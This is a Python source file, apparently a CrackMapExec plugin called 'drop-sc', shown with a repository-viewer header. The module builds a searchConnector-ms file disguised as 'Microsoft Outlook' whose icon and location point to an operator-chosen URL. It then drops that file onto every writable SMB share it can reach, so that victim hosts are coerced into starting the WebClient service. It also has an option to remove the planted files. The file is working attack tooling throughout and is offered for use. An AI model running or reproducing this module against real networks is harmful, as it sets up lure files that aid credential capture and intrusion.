81 lines
4.1 KiB
Python
81 lines
4.1 KiB
Python
import ntpath
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class CMEModule:
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'''
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Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
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https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
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Module by @zblurx
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'''
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name = 'drop-sc'
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description = 'Drop a searchConnector-ms file on each writable share'
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supported_protocols = ["smb"]
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opsec_safe= False
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
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https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
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Module by @zblurx
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URL URL in the searchConnector-ms file, default https://rickroll
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CLEANUP Cleanup (choices: True or False)
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SHARE Specify a share to target
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FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
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'''
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self.cleanup = False
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if 'CLEANUP' in module_options:
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self.cleanup = bool(module_options['CLEANUP'])
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self.url = 'https://rickroll'
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if 'URL' in module_options:
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self.url = str(module_options['URL'])
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self.sharename = ''
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if 'SHARE' in module_options:
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self.sharename = str(module_options['SHARE'])
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self.filename = 'Documents'
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if 'FILENAME' in module_options:
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self.filename = str(module_options['FILENAME'])
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self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename))
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if not self.cleanup:
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self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename)
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scfile = open(self.scfile_path, 'w')
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scfile.truncate(0)
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scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
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scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
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scfile.write('<description>Microsoft Outlook</description>')
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scfile.write('<isSearchOnlyItem>false</isSearchOnlyItem>')
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scfile.write('<includeInStartMenuScope>true</includeInStartMenuScope>')
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scfile.write('<iconReference>{}/0001.ico</iconReference>'.format(self.url))
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scfile.write('<templateInfo>')
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scfile.write('<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>')
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scfile.write('</templateInfo>')
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scfile.write('<simpleLocation>')
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scfile.write('<url>{}</url>'.format(self.url))
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scfile.write('</simpleLocation>')
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scfile.write('</searchConnectorDescription>')
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scfile.close()
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def on_login(self, context, connection):
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shares = connection.shares()
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for share in shares:
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if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']):
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context.log.success('Found writable share: {}'.format(share['name']))
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if not self.cleanup:
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with open(self.scfile_path, 'rb') as scfile:
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try:
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connection.conn.putFile(share['name'], self.file_path, scfile.read)
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context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
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except Exception as e:
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context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e))
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else:
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try:
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connection.conn.deleteFile(share['name'], self.file_path)
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context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name']))
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except Exception as e:
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context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e))
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